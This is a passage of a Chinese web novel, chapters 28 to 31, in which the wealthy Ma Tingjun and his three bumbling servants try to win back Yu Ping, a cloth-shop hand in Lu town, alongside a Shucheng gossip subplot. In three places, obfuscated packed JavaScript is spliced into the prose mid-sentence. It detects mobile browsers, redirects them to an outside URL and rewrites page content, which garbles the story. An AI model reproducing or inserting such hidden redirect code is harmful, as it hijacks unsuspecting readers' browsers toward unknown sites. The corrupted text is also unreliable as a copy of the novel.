寄往栀子花街三号。 28.落地 次日麻家来了个家丁,把布店货架上所有布匹了解一遍,什么都没买,光是问了几句店里忙不忙。最后实在过意不去,欲盖弥彰地要了块蓝花粗布,说是缝一个零钱包。 晚上吃饭,那一家人的目光免不了聚集在俞平身上。 隔了几天换瘦子来,还提了一篮葡萄。那天是兰香接待的他,发觉他实在可疑,却也挑不出毛病,便害怕文章作在葡萄里。等他一走,全去乡间喂了流浪猫流浪狗。 晚上吃饭,那一家人的目光免不了聚集在俞平身上。 兰香看俞平的时间格外久,害怕他反应过来,破天荒第为他夹了菜。詹老板才道:“俞平,你那天去麻公馆,他们怎么说?” 俞平只埋头看碗,道:“五爷说今年泥石流多,路被封了几条。他猜测兰竹哥绕了远路,已经派人去打探下落了。” 詹老板道:“哦。” 轮到胖子大驾光临了。算准学堂上课的时间,进来后自己转了转,立刻伸长脖颈往楼上瞧。 店里有找何氏话家长的熟客,问他道:“你有什么事?” 胖子回头看了眼,不答。 熟客道:“今天不上学,兰香带俞平出去玩了。” 胖子道:“我不找他,我随便逛逛。” 晚上吃饭——俞平借口给邻镇人送货,夜半才回来,吃的剩饭。 比噩梦更加值得恐惧的事物诞生了!俞平掰手指算日子,这天他原以为起码轮到阿吉和瘦子造访,提心吊胆至太阳西沉,好在什么人也没盼到。 傍晚打扫小院,店门不经意地刮开了,他正着手整理小径旁的盆栽,起初以为是风,并不在意,还在掐几片虫啃食过的绿叶。 回头看见麻霆君,忽然叫他也愣了愣。 倘使看到麻公馆其他人,俞平凑巧拿了把笤帚,干脆把通通把他们扫出去。此般居然下不了狠心;回想与麻霆君共处的时光,快乐占更多。是他心里有麻霆君?未必。他的愿望没有在法餐厅里许出来,自然放不了共同吹蜡烛的人。 那天被绑在柴房,有谈文翡和郁蕙心交谈于此,把他正抽条仇怨的统统淹没了,后来听说那佣人被罚了一顿后赶出鹭镇,竟有些心软。 毕竟他是因祸得福,说不定还要感谢人家——必然是他心软了,莫不是他自己心太软了,否则怎么容忍麻霆君搬了进来。过几天心肠硬了,再着手清理也不迟。 麻霆君长得实在英俊,此时神情又多少有些可怜。这人是来做什么的,俞平会不清楚?他早和麻霆君说过没生气了,谁知道麻霆君不肯信,宁可要俞平迁怒自己;不难推敲其中含义,麻霆君会希望明白俞平一点也不在乎他?倒不如叫俞平恨他恨得此生不复相见。 爱与恨都是他需求的,一定要往俞平心里钻。俞平要是再心平气和,这章怕是一辈子翻不过篇,到头来还不过图一颗心,碰巧俞平的是空虚着的,短期借出去,兴许无关紧要。便快步往麻霆君面前逼了逼,假意气愤道:“前几天店里来这么多人,都是你指使的?” 麻霆君被他直截了当挑明了,纵使在预料之间,也乱了阵脚,半晌撇过头,低声下气承认着:“是。” 顺着他的目光,俞平发觉他看向的是一盆月季。这盆月季原是集市上买回来的,品种不良,生得也矮小,据说从未开过花。俞平把钓来的鱼虾埋进土里,才结几个花苞出来。兴许早秋会开得更多,或是任风雨把小小花苞打落了。 花没什么好看的,俞平看他掐自己手臂更有意思。他耳朵不知是涨的还是被夕阳染的,又道:“是我想见你。” 俞平冷哼一声,道:“五爷身份高,不怕别人说闲话,三番五次来我家店里。五爷知不知道外面的人怎么说我?” 怎么说的?俞平向来不是在意旁人眼光的,自己也不知道。 麻霆君必然知晓一些,否则不会挑在夜边,好不容易把目光掰正在俞平身上,道:“我不想你误会我,心里着急了些,一时顾不上旁人了。” 俞平道:“既然是道歉,五爷错在哪里了?” 麻霆君道:“错在随便用了短工,错在没有保护好你。” “这些我都不想计较。五爷还有什么话要讲?” “我想请你来我家……” 唉!起初在他身上蜻蜓点水而已,却看他沦落至此,不是一开始所期盼的。 俞平心里扬眉吐气,更加不想放过他。如是便顿悟了:必然是自己心里没有麻霆君,才做得到隔岸观火。 他多怨了麻霆君几句,把自己说得高兴了,只好忍着笑,背过身去,道:“那天的事情我不想再提起,但我知道麻公馆里的人是怎么看待我的。五爷现在是何苦?” 麻霆君把手搭在他肩上——事至如此,他怎么还伸得出手?自己又还能够做什么?尽管看不见他,俞平脑海里满满当当尽是他委屈的模样。要说俞平片刻前看麻霆君委屈还挺爽快,不想骤然变了味,分明不该计较麻霆君什么感受,心上却涌来一阵酸楚,只想回过头安慰麻霆君几句。 正是要动脚步,俞平继而被自己吓得一激灵,究竟是心太软!起了决心,强硬道:“我不需要五爷的偏袒,请五爷不要再来找我了!” 这话说完本是要走,俞平倒是继续蹲下身打理着盆景。枝条是原本在花盆里的,被他捡起拨弄叶片,看着居然有模有样做正事。 麻霆君在他身旁徘徊好一会,几欲开口,最终哀哀地回去了。 俞平垂着头,眼睛最大可能往门口瞟。麻霆君离开时背影宽阔却十分弱小。 麻霆君是个好人,俞平也到底多少有点良心在,顿时觉得自己坏透了,不免可怜起他,想说点好话补救一番;却等麻霆君的脚步消失干净了还蹲在地上,许久起身锁了院门。 回到店里,兰香写完功课,候在饭桌上。 一见他来,她道:“外头成天有一群人说你是狐狸精,结果你真的害人不浅。言语的力量有这般厉害,不如你别为我爹娘工作了,你在我房间里每天喊一百遍,‘詹兰香比天上各路神仙都要聪明’,我再也不用去学堂啦。” 俞平自己听着也好笑。何氏大约是怕他介意,跑出来说道:“俞平,家里酱油用完了,去打瓶新的回来。” 俞平应了声,摸了柜台上零钱,挎着竹篮轻松出了门。 镇上的酱园是第一次去,到的时候柜员在库房忙碌,他交了钱后等人来灌酱油。空气里的咸香混合家家户户炒菜的烟火气——鹭镇的生活一切都是新式的,一切叫俞平看得津津有味。他有时觉得自己俨然是大家庭的一员,有时觉得自己与镇上一草一木并无区别,终究是个旁观者。 想在这里,俞平心里一阵怅然若失,生活在鹭镇总归不是长远之计,他是要走的。他记得新年维港盛大的烟花,他的归处必然在烟花散落之下,却定不下向这里告别的日子。 伤心时候,左肩忽然遭人拍了拍,他往左回头,身后空空如也,尽是细碎脚步,那人跑到右边去了。 “你在布店把我们五爷扫地出门,真是潇洒。” “你不知道我们又要挨骂。” 阿吉的声音自右边传来:“别瞎说,五爷从不骂人。” 一胖一瘦一吉,三人搅得俞平一点心绪都聚不起来。酱园里伙计不出来,俞平逃不掉;方才已经对麻霆君示过威了,俞平对他们也说不出什么狠话,暂且安慰道:“同为伙计,我理解你们。” 谁沦落至此?五爷倒塌了都轮不到他们三个。三人异口同声:“什么同为伙计?” 胖子举手望天:“天上的蟾蜍,睡觉靠着嫦娥。” 瘦子低头哀叹:“地下的□□,只能垂涎五爷。” 阿吉抑扬顿挫:“你给詹老板做工,詹老板年纪大了,还有一双儿女,只能请你住阁楼;我们给五爷做工,五爷高大英俊,待我们如亲兄弟,一个赛一个好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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又道:“俞平可是我们公馆未来的贵客,怎么能叫他在这里等着?你们快快去里面催一催。” 他打着五爷的名号狐假虎威,胖子瘦子必然被吓唬得不清,动身去库房找伙计算账。 阿吉先朝俞平尴尬笑了笑,见俞平不给他白眼看,才道:“俞平,我没得罪过你,我说的话是公道的。世上总免不了有坏人,五爷却是好的。” 阿吉话里话外绕不开麻霆君,说到一半瞄了眼,见到俞平冷淡照旧,不自讨没趣,讪讪闭了嘴。 不用他刻意提起,俞平心里本就踌躇不定。麻霆君定是盼望他不高兴的,若是能够在俞平心里留下痕迹,不论好坏,往后他都能作一番修修补补;俞平则自认为心如止水,根本没有为麻霆君产生一丝波澜。他是要追随飞鸟衔烟花的,只能由风呼啸而过,怎么能驮一个麻霆君? 话再说回来,伤麻霆君的心,总比伤自己的羽翼好。俞平想清楚,摆出平淡语气,道:“我都知道,麻烦代为转告五爷,我早不做情人了,现在一文不值。不需要五爷为我费心思。” 他说得吓人,阿吉更加不敢搭什么话,点头应允下来。酱园的伙计被胖子瘦子一边一个押出来打酱油,不知被威逼亦或利诱,瓶子里打得满满当当。 阿吉把酱油瓶装进俞平的篮子里,又是不舍道:“俞平。” 叫了俞平许久,他才小心翼翼道:“我已经开始学珠算了。” 俞平点点头,转身走了。 路灯都亮了起来。远处群山粘着天际,夜一概是蓝色的,有阵阵微风袭来。俞平边走边盘算着去找麻霆君服个软的利弊,想来却是多一事不如少一事。天色不论变了多少模样,少时都会黢黑一片。若是感情有这么简单,不论他是惺惺作态还是真心实意,最终能够扫除便好了。 只是麻霆君顶着橘粉色云彩说想要见他——他之前体面的时候,赶了一个懂知难而退的;这时话放得有这么狠,麻霆君还会再来吗?俞平不想他来,却不是希望他不来,最终轻轻笑了声,步入夜色之间。 29.出谋 枢城。 入夏伴随梅雨,不间断地下了七天。阴天的色彩遣散进贝琴公寓二层的房间,由镜子安然折射出来,浮在潮湿的地板上。镜子前坐着梳妆的正是郁蕙心。 枢城建公馆的区域拢共几片,江北的尤其闻名遐迩。郁公馆与谈公馆建在一片,落座在下风口。谈凭玉失踪后,那一带本就毫无生机,现在愈加死气沉沉。郁蕙心无法继续容忍,借口找到新工作,为早上多休息片刻,才从郁公馆光明正大搬了出来。 周围一带富家小姐没有工作的。枢城的大学没几所,好不容易考进去,出来不论什么工作都是入不敷出。为了几两碎银,很不光鲜地出现在公共场合,还不如在宴会结束前多唱一支英文歌。 郁蕙心正是这么想的。她碰巧还在外面上过学,也没想再去枢城的学院提升一番,便每日无所事事打发着寿命。搬在公寓,没人管教了,晚上也偷偷去跳舞。 今天去打牌。 牌桌上的友谊比茶会上的稳定,郁蕙心不想失了面子。首饰盒里耳环一格一格的放,她一枚一枚试过来。 听见房间里广播声音——广播站为了增加听众,聘请一位号称英国来的灵媒,预言明年的雨季更加漫长。 破茧成蝶的代价是找不到遮风避雨之处,郁蕙心却也是留过洋的,有独立生活的能力,听见明年的噩耗居然迷茫起来,她也要抵不过浓重的水汽了。 门口传来钥匙开锁的声音。公寓的备用钥匙一共两把,一把在母亲手上,另一把归属麻添姝。若是进来的人不嫌她拖鞋凌乱在玄关,必然是麻添姝了。 麻添姝却是茶会上的朋友,不论她的婆家还是娘家,照理都入不了郁蕙心的眼。郁蕙心原本划她为泛泛之交,搬家时候她主动来搭手,使得郁蕙心感动不已,才肯放下防备。没想到与她很是聊得来,最终由她领着上了牌桌。 麻添姝是来接她的。进来后并不避讳,坐在郁蕙心床上,诉苦道:“我以为我嫁过来会深居简出,没想到前几天上街,好几个不认识的人都来和我打招呼。一问全是因颜青而起,我偏偏是他的嫂子!” 郁蕙心早屡见不鲜,道:“要想测试新认识的男士,提他的名字很灵,但凡支支吾吾,都是被他毒害过的——他堪称枢城第一深情,我们都知道。” 麻添姝往她身边靠了靠,手肘撑在梳妆台,道:“你前几天和谈二去我家,我弟弟和你说过什么吗?” 郁蕙心道:“霆君?没有。不过我看他挺好的,没什么值得我帮你监督他的地方。” “我是想打听的是阿青。阿青前阵子住在我娘家。”麻添姝叹气道,“那些生过孩子的姊妹同我讲,她们最偏袒的孩子不是最乖巧的,是最闹腾的。我起先不理解她们,没想到我也一样,这几天我真的为阿青操心!鹭镇就那么点大,他要是惹是生非了,传来传去多难听。” 郁蕙心笑道:“颜太太,你已经是美谈一桩了,他们要讲闲话,让他们讲几句算了。” 麻添姝道:“闲话倒不要紧,我怕的是他给他们添麻烦。阿青是收不住心的,去鹭镇上也找了一个,好在他拒绝阿青了。不知道邻居们怎么想的。” 郁蕙心道:“真的?他说他最近被拒绝五次了。” “真的!而且鹭镇那个格外有威力,据说是个绝世美人。阿青说他虽是看不上自己,自己却照旧对他念念不忘,以至于回来面对几位新人都分了神,一个也把握不住。” 麻添姝道,“他有多美,霆君有没有告诉过你?” 郁蕙心懊悔道:“我本就没和霆君聊过几句,你也不及时告诉我!我要是早就知道了,掘地三尺也要把他找出来。” 麻添姝笑道:“不是说好一起去我家避暑?到时候一起去看看,他又不会平白无故消失了……他好像叫俞平,你多多留意一下。” 郁蕙心那时借镜子,两只狐狸眼睛在其中一闪而过——麻添姝说到哪里?俞平?她还当听成了凭玉的名字,谈凭玉又是人尽皆知的,麻添姝不可能不知道,便自己愣了愣,也不肯多讲,假装是被耳针扎痛了; 麻添姝的惆怅则是无尽的,郁蕙心小小一点动静,无论如何都从她的指缝中流下去,又开始讲颜青的事迹。 她絮叨时候不忘为郁蕙心编辫子。郁蕙心不想嘴巴闲着,挑了新话题,问道:“霆君有和你说过,他喜欢什么类型的人?” 麻添姝道:“我们从不聊这个,他也许会和阿青提一提。” “你这个姐姐当得太不负责任,要我说,惹是生非的好像是霆君。” “霆君?霆君能惹出什么祸,他顶多力气太大,把门开破了。” 郁蕙心笑道:“我就说你不负责任,纵容他灯下黑。阿青惹的是什么祸,他也跟着一起。” 麻添姝险些握不住梳子,在她身后手忙脚乱一阵。她也本是随口一提,不想惹出如此动静,赶在这位姐姐好奇前,先发制人道:“哎呀,这话我是不能说的。你叫他自己告诉你。” 麻添姝期盼道:“你知道我怎么为人处世,我是把你当自己妹妹的。” 互相立下誓言便是交接秘密的开始:藏着秘密的人也无需倾听的能多么守口如瓶,只求他最终不出卖自己;倾听秘密的人也不是多么掏心掏肺地好奇,只是想知晓他还能讲出什么鬼话。如是便是秘密交换的开始。郁蕙心清了清嗓子,正色道: “霆君喜欢的好像就是俞平。” 这便是鬼话之中的鬼话——麻添姝眼睛瞪得有平时两倍圆。 郁蕙心不曾预料她的动静如此之大,又补充道:“我说的只是我的猜想,那天本想请他来枢城,他不肯,借口他有一位喜欢的人,姓俞。其他也没多说了,是不是一个人还不清楚。” 麻添姝道:“你的电话在哪?我打过去问问他。” 枢城的阴雨,历经千辛万苦来到白鹭镇,不知怎的,剩下密布的乌云。乌云顶在麻公馆头上,别有一番风味,叫始终灯火通明的前厅,催生出无限的诗意。 几个伙计日夜浸没在诗意里,仿佛云集在古时群英荟萃中。 胖子摇头晃脑:“轰轰的雷鸣,代表我们五爷。” 瘦子念念有词:“密布的乌云,谐音布店俞平。” “俞平说他不值钱,是因为……” 阿吉仓皇道,“是因为俞平想给我们五爷省钱。” 胖子瘦子便借题发挥: “勤俭持家。” “贤夫良父。” “白狐报恩。” “好人好人。” 阿吉打岔道:“咦,谁说的‘好人好人’。” 瘦子据理力争道:“现在还有时间质疑我措辞的,必然是世上顶天立地的负心汉。‘好人好人’又如何?重要的是我们五爷,别拎不清!” 麻霆君黑着一张脸。 阿吉捷足先登:“我们五爷是价值连城,俞平不敢肖想。” 胖子亦步亦趋:“我们五爷是无价之宝,俞平望而生畏。” 瘦子方才喝水润嗓去了,谁知错失良机,光愣着说不出话。 麻霆君实在心烦意乱,赦免他们:“不要再讲了,适可而止。” 瘦子赔出一张不太美妙的笑脸,道:“五爷,俞平不懂事,我们几个再去布店好好说一说他。” 瘦子笑得实在邪恶,边上胖子和阿吉的眼神尽是躲闪。麻霆君一个个看过去,总觉得他们看似取悦自己,实则是拿自己取乐。他无端想起清明时节,父亲对着祖先痛斥他没有成家。 明年的清明节在他们几个的龌龊思想中早构思出来了:麻老爷再拿他的不孝之事发怒,正是要打,柔弱的俞平顷刻护了上来,两人上演一出苦命鸳鸳。岂有此理? “你们是不是都以为,我麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449041|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霆君对俞平心怀不轨,现在俞平拒绝我了,我还要对他死缠烂打?” 三人里没有敢应声的,却不是不赞成的表示。麻霆君熟悉他们,必然知晓。又道,“你们真是不懂我用心良苦!我表面在乎俞平,实际是为了颜青。颜青现在的心思都在俞平身上,我不能和俞平反目成仇,否则日后不好相处。” 瘦子立刻死命鼓着掌:“哎呀!我们五爷果真不是重色轻友之人!” 麻霆君道:“俞平确实讨人喜欢,没什么好反驳的,鹭镇上凡是长着眼睛的看他都可爱,我却是例外。我在乎的是我的好兄弟颜青,俗话说‘兄弟如手足’,俞平……俞平和我只能称得上认识,升不到兄弟的高度,必然是颜青重要。况且本就是颜青先请俞平看电影,我是个君子,不能横刀夺爱。人际交往太复杂,若是因为我得罪俞平,导致俞平连带不睬颜青,就当他们能一笑泯恩仇,就此了结,我是能保证我待颜青一如既往,颜青能吗?也许他也能够,但哪怕只有丝毫反目成仇的可能,我也不允许。俞平不能动摇我们兄弟之间的情谊!” 他什么时候一口气能说这么多话出来?一通弯弯绕绕的,虽是层层相扣,其中若是穿插几句骂人的话语,那三人必定听不出来。 必然是沉默再沉默,许久后,阿吉第一个苏醒,冷不丁喝彩道:“好!” 胖子颔首低眉:“我们五爷真惜客好义。” 瘦子谦卑恭顺:“我们五爷有侠肝义胆。” 相比之下,阿吉的叫好太过单薄。可五爷是什么人?一概大度地谅解了:“李喆不用再说话,心意到了就行。” 阿吉僵硬道:“谢谢五爷。” 他们五爷自是高尚无比,为图把他抬高一层,胖子瘦子充了恶人的角色。 一个说:“李喆辜负五爷心意。” 一个说:“李喆真不是好东西。” 阿吉是他们几个之间私下和俞平关系最不错的。平日里他常在湖边遛狗,俞平常在镇上奔波,得益于黑兔的缘故,每天能多和他蹦几个字出来,日积月累便是一篇大作;还有兰香时不时说点见闻给他,他看出这两人眉来眼去的程度不轻,没曾想到麻霆君此般出尔反尔,宁可被万人所指也说不出什么了。 所幸楼上匆匆奔下来个伙计,打断他们,焦急道:“五爷,房间里的电话响了!” 远方的麻添姝夹着话筒,郁蕙心在一旁等候着。闲来无事,她拨弄起瓷瓶里挤在一起的百合花花蕊。花蕊熟得像金秋丹桂,稍有不慎便染透指尖,麻添姝的声音更是要把花粉震下来,密密筛在洁白花瓣之上。 那边接电话了。麻添姝开门见山:“霆君,你老实告诉我,你是不是喜欢俞平?” 郁蕙心在一旁笑道:“你不好这么问的,谁要承认!” 麻霆君开口前想起什么,往后一瞥,门外三个心腹纷纷缩头缩脑地躲闪至一旁;他假意没看到他们,他们也假意没看他,心照不宣一通后,他故意提高音量,道:“俞平是布店的长工,我先认识的他,后来颜青再喜欢他的。不过我当然认为颜青重要,不去横刀夺爱!” “哦,我听出来了,你是说你人品好,不参与进他身边的莺莺燕燕。”麻添姝见自己莽撞得歪打正着,卸了防备心,笑道,“我们夏天挑半个月避暑,今年选在鹭镇。既然阿青看上俞平,干脆让他一起过来。” 麻霆君茫然道:“你是什么意思?” 麻添姝道:“我想那位俞平既然是你们共同的朋友,应该是个好人,阿青追求他再好不过了。到时候我们一家人帮阿青出主意,说不定他就安定下来了,俞平也不用再在布店卖力气。” 这话听得麻霆君头脑发热——他自己都没见到俞平,颜青凭什么?索性装都不去装了:“不准把颜青带过来!不准让他见俞平!” 他说得真着急,手上也不知轻重,一把挂了电话。 30.献策 麻霆君挂电话的声音不比砸了房间更轻,使得门外三个人顷刻魂飞魄散,一步逃不走,眼睁睁看着他魔王似的踱了过来。 要说人在心虚的时候话语格外多一些,绝望了倒反一个字吐不出来。麻霆君不比他们更加从容,板着脸许久,才道:“都听见了。” 三位心腹脸上精彩绝伦。 胖子望天:“我的肥肉都在肚子上,耳朵里面空空如也。” 瘦子看地:“我的营养都在脑子里,耳朵早就优存劣败。” 阿吉抱头:“我从小到大都是聋子,最近又旧病复发啦。” “我还以为你们有点眼色,多少猜到一些。既然没听见就算了,我重新告诉你们。” 麻霆君摆着一副苦大仇深的表情,道,“我不想让颜青见到俞平,是因为颜青心术不正。我心理强大,能把他好的一面汲取了,俞平却不一定。所以我才说这种话,并非出于私心。” 又道:“俞平是从枢城来鹭镇的。枢城人都心气高,都是他们看不起我们鹭镇。我更要好好保护俞平,不能丢了鹭镇的颜面了。” 他说得实在太言之凿凿,话里又是良苦用心,又是深沉隐忍,多么伟大似的;这三个人生在他的羽翼之下,哪怕再灵巧,一概奔着愚钝去。 他们五爷真是在意俞平?他们五爷实际是什么心思,要由他们五爷嘴里说出来才算数。 胖子夸:“五爷说得在理。” 瘦子赞:“五爷条理清晰。” 阿吉谬赞道:“五爷的考虑,我们从来望尘莫及。” 这三人语气虽是如平时一贯虚伪,麻霆君听得出此时格外做作,却不想计较什么,再正色道:“阿青不是什么长情之人。与人分手,不管是好是坏,心里总是苦涩的。万一他们真在一起了,我担心俞平再吃一遍从前的苦。” 胖子贬:“颜二少爷欺骗少男。” 瘦子踩:“颜二少爷不是东西。” 阿吉脑海中灵光一现,道:“五爷尽管放心,颜二爷打动不了俞平。俞平和我说过,他不想再给男人作情人了。” 麻霆君喜悦道:“真的?” 方才的威严还残存在脸上,他这声却太激动,生生把先前的自己推翻了似的。咳了咳,道:“俞平和我说过,他想要自食其力地生活。这便是我们鹭镇的好风气感化了他,因此他更加不能被阿青污染了去。” 阿吉谄媚道:“他哪是被鹭镇的好风气感化的?他一定是被我们五爷感化的。我们五爷做人堂堂正正,一定与他情投意合。他若是伯牙,我们五爷便是子期。” 总说他们五爷是天上神仙转世,阿吉却把他们比作高山流水觅知音。又看麻霆君听得正在兴头上,胖子无论如何也不甘心,抢了他的话,更正道:“我们五爷便是子期那个年代的皇帝,真正能够赏识俞平,为了避免俞平被奸人迫害,把俞平请到宫殿里,好好把他保护起来。” 瘦子瘪嘴。 “我看胖子是真心懂我。”麻霆君道,“俞平在布店实在大材小用,来我家正好派上用场。我还能够把他保护得更加坚强,这便是一举两得。” 阿吉便道:“五爷,事不宜迟,赶紧把俞平请过来。” 麻霆君一时在风口浪尖,要是临阵脱逃也没这个本事。糊弄他们三个容易,如何糊弄俞平?俞平对他从来不客气,正是捏准了他的好脾气,不由分说往他脖子上套项圈。 那天阿吉从酱园把俞平的拒绝带了回来,听得麻霆君心上失落迄今。阿吉言语间必然是偷工减料的,俞平必然更加不想与他牵连。 可那是俞平!眨眨眼睛便像夜晚出了一千颗星星,叫麻霆君数得出一万种图画。旁人当俞平是被少爷弃了的玩物,一只飞出笼子的金丝鸟,抱持看热闹不嫌事大的原则,叫俞平来鹭镇的悲剧重蹈覆辙。麻霆君却是交了真心,他自以为他们能够紧紧靠在一起,也许漫步至天边,也许说着话,也许什么都不做。他什么都不想。 那三人期盼于此——做五爷便是好坏参半的,尤其是此时,哪有畏畏缩缩的道理。麻霆君不想被俞平再拒绝一遍了,却更加不想失了风度。一时进退两难,磨蹭道:“我犯旧毛病了,没力气。” 这种鸡毛蒜皮的小事他们记得最清楚。胖子瘦子一口一个地邀了功: “我知道五爷嘴巴正苦。” “我知道五爷肩膀正酸。” “不止。”麻霆君虚弱道,“心里痛。” 心里居然痛?那三个人几乎要跪到地上去。 麻霆君又道:“况且俞平好像对我有些意见。我不去打扰他了,身体养好再说。” 要是按照麻霆君的预期,他已经解散了他们,钻在房间里鼓起勇气读一读麻秋棠她们写的话本。这几个人偏偏不肯放过他,一听俞平有忤逆的心思,纷纷出谋划策。 胖子推敲:“给俞平吃熊心豹子胆,他也不会生我们五爷的气。” 瘦子忖量:“让俞平去天庭转一圈,他找不到好过五爷的神仙。” 阿吉沉默得表情格外难看,许久后放爆竹似的炸了开来,激动道:“五爷以前领我们一起读兵书,其中有一条计策,用在现在,保证能把俞平坑骗回来。” 胖子道:“你说得太难听了,我们五爷从来都是正大光明,怎么能叫坑骗?” “如此紧急关头,我话是糙了些,理一点也不糙,几位哥哥一齐听一听。”阿吉摆着笑脸,道,“五爷,我为您献上一出苦肉计。” * 天气太潮湿,没人有闲心傍晚时出门透气。打烊前一刻钟,布店提前锁了门。 一家人都在柜台上点账,兰香挤在中间。入夏后生意不少,然而夏季衣物轻薄,抽不走几个钱。今天请铁匠上门修了锁,额外多克扣一笔。 兰香拨算盘时汗珠滚滚,正要公开结果,先紧张看俞平一眼。见到俞平神色镇定,才道:“算出来了,今天的数总是准的!” 俞平道:“也就准了今天一回。” 兰香心急道:“你看不惯我!” 见他们又要吵作一团,不等何氏分开他们,门口木门被人晃了起来。怕是堵了熟客的道,詹老板亲自出门迎接,不料只见到胖子一人哼哧哼哧:“詹老板,你们这锁换得气派,我都进不来啦。” 这人却是不得不放进来的。俞平见状,识趣地掀开布帘去里屋,兰香则是跟在他身后。 胖子嘿嘿笑道:“你家两孩子腿脚快,一下子就跑了。” 詹老板道:“孩子心里明白什么?还是不要他们参与大人的事务。” 胖子道:“詹老板,我还真有个不情之请。” 詹老板犹豫片刻,鼓起勇气道:“请讲。” “詹老板,兰竹还在茶山,我们五爷已经派人去接他了。我们五爷没有责怪他,倒是很敬佩他,等他回来了,什么赚钱的机遇都要给他。我说你们一家都是出了名的大好人,应该被广播报导……” 詹老板打断道:“你想说什么,直接说就好了。” “我们五爷想见俞平一面。”胖子作揖道,“求求你们啦!” 布店门口不远处的拐角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480101|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瘦子站着,阿吉蹲着,礼盒摆在一旁。他们脑海中什么画面都见到了,唯独没想过胖子心旷神怡地回到他们身旁,宣布道:“我失败啦。“ 门口没再上锁,瘦子进去时连兰香和俞平都看见了。柜台上薄薄积着一小堆瓜子仁,俞平动作文雅地用剪刀柄砸一砸,取出的瓜子仁全都进了兰香的嘴。 瘦子无视詹老板,对着柜台猛然一拍:“给脸不要脸!敬酒不吃吃罚酒!别忘了你们布店还欠着我们五爷一千九百大洋!我们五爷对你们这么客气,你们居然这么无法无天!” 外头胖子坐在礼盒上,阿吉照旧蹲着。听见布店里传来一声巨响,随后瘦子神清气爽地迈出门槛,道:“我也失败了。” 轮到阿吉进去丢人现眼了。 一进到布店,凝重的气氛便能请阿吉喝上一壶,才知道胖子瘦子出来为何如此轻松。亏是麻霆君待他真好,否则他无论如何要逃出去了,或是打个地洞躲着。 少时他暗自握紧拳头,向俞平说道:“我们五爷恶疾缠身,中西医都试过了,没用!他每天都很痛苦。” 俞平道:“哦。” 阿吉冷汗满背,又道:“俞平你行行好——他还带你去西医馆呢,你也去关心关心他啦。” 兰香道:“你们五爷不是号称百毒不侵,身体怎么会不好?” 阿吉思索起找什么借口遁走,嘴上却要敷衍几句,正说着客套话,发觉始终埋头敲瓜子的俞平,那时竟看着他。他便抓住最后一丝希望,道:“唉!五爷身体当然不好。平时没见你们多在乎,现在不知道也正常!不过为时不晚,我好好给你们讲解一番。” 紧接着他展示起来: “嘴巴苦。” 说这话时他指指自己的嘴唇。 “肩膀酸。” 说这话时他拍拍自己的肩膀。 “心里痛。” 说这话时他直勾勾地盯着俞平。 他这套戏法做完,布店里万籁俱寂。 兰香念在他与自己一同研讨珠算的情谊,勉强解围道:“今天是什么新发明出来的节日吗?” 阿吉真是宁死不屈,道:“今天是我们五爷生病的哀日。” 俞平道:“如果有时间要求,你可以多在店里坐一会。我们不为难你。” 阿吉朝他鞠了一躬:“俞平哥,我马上就走。” 见到门口等待一宽一窄二人,阿吉顿时如获新生,灿烂道:“二位大哥都无计可施,我当然也是失败了。” 胖子嘴角一垮:“我们三位大将都失败了,回去怎么交差?” 瘦子道:“五爷肯定比我们有头脑,说不定换一批人再来过。” 胖子反驳道:“他要是挖掘了更加厉害的人物,我们几个的日子怎么过!” 阿吉道:“是他喜欢俞平,俞平要看他的真心,也合情理。当然叫他自己来。” 胖子又道:“今天这么热闹,看我们笑话的人一定不少,五爷要是也像我们一样被赶出去哪行?你不知道我们鹭镇、邻镇,多少青年嫉妒他。他们看扁了五爷,我们几个怎么混?” 阿吉道:“赶出去也好,叫他明白俞平什么心意。” “好什么?”胖子怒道,“五爷这么好,俞平会不喜欢他?俞平要是高攀上我们五爷,那叫一辈子衣食无忧。我看你平时看你总维护俞平,现在这么不希望他好。” 这一阵商量也没结果,三个伙计愈加丑态百出。再是好一阵子,胖子打头在前面搓手。 “俞平爷爷,我们来看你啦!” 31.狗吠 兰香早在门口候着他们,一见三人出现,立刻挥舞着笤帚,道:“打烊了,打烊了!早点不来,偏偏挑在现在,都出去!” 阿吉上前,一把夺下笤帚,转交胖子保管,道:“大小姐,我们不是坏人,何必如此?” “你们几个凑在一起,平日就不正常,今天格外发癫痫。”兰香挡着店门,道,“是不是五爷对俞平做什么亏心事,自己也觉得见不得光,要把俞平带去灭口了。” 阿吉劝道:“大小姐,他们的事情,我们不去插手了。” 说罢他从她胳膊下猫腰钻了进去。兰香慌忙去逮他,却叫胖子瘦子有了可乘之机。 三人很不光鲜地一齐在布店亮了相,见到俞平在柜台抄写字帖,正是要开口,詹老板板着脸挡在前面,道:“几位兄弟,别来无恙。” 胖子在布店角落安放了笤帚,甜甜叫了两位老板,道:“我家五爷想要学英语,听说俞平会,才派我们请他。学费好商量。” 俞平冷漠道:“我并非大富大贵出身,从来没学过英文。他是做梦梦到的?” 胖子愕然道:“我们五爷不会说谎!那天在西医馆,是你和洋人讲话的。他钦佩你的能力,一回来就告诉了我们。” 俞平道:“哦,我讲的是粤语。” 